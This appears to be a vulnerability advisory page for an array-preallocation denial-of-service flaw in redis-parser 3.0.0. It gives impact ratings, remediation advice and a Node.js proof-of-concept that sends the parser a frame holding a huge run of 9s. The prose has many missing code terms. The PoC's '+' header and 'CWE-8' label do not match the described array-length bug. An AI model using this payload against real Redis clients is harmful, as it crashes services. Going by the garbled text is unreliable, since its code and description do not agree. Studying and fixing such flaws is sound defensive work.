node-redis-parser Unbounded Array Preallocation DoS Vulnerability

Vulnerability Summary: Unbounded Array Pre-allocation in node-redis-parser Causes Process Crash Vulnerability Overview Vulnerability Type: Uncaught exception leading to process termination (DoS). Root Cause: In version 3.0.0, when parsing the RESP protocol, the parser directly reads the multi-byte array length (14-byte header) from the network stream and immediately executes . Trigger Mechanism: An attacker sends a malicious RESP frame containing an extremely large length value (e.g., ). This causes to throw a . Since this exception occurs inside the function and is not caught by a block, it propagates upwards as an uncaught exception, directly terminating the Node.js process. Impact Scope Affected Component: 3.0.0. Attack Vector: Network. Attack Complexity: Low. Privileges Required: None. Impact: High. CVSS 3.1 Score: 7.5 (High). Consequence: Any malicious or compromised client connected to a Redis endpoint (e.g., an attacker performing a Man-in-the-Middle attack) can cause the client process to crash and result in a denial of service by sending a single, specially crafted frame. Remediation Hard Limit: Implement a hard upper limit check on before allocating the array. Error Handling: Treat exceeding this limit as a fatal protocol error, routing it through instead of throwing an exception. Incremental Construction: Construct the result array incrementally rather than pre-allocating the entire array. Exception Catching: Wrap the function in a block, downgrading any unexpected thrown exceptions to connection errors instead of causing process termination. POC Code 1. Vulnerability Trigger Code (snippet from parser.js) 2. Complete Exploitation Script (poc/cwe_array_prealloc_crash.js) ```javascript "use strict"; // CWE-8: (crash variant): prove it is truly an UNCAUGHT exception that terminates the process // when the host does not wrap execute() in try/catch (the normal integration). const Parser = require('redis-parser'); const p = new Parser({ returnReply: () => {}, returnError: () => {}, returnFatalError: () => {} }); process.on('uncaughtException', (e) => { console.log('RESULT: VULNERABLE (process would terminate without this handler)'); process.exit(0); }); p.execute(Buffer.from('+9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999

Goal Reached Thanks to every supporter — we hit 100%!

node-redis-parser Unbounded Array Preallocation DoS Vulnerability

More from this source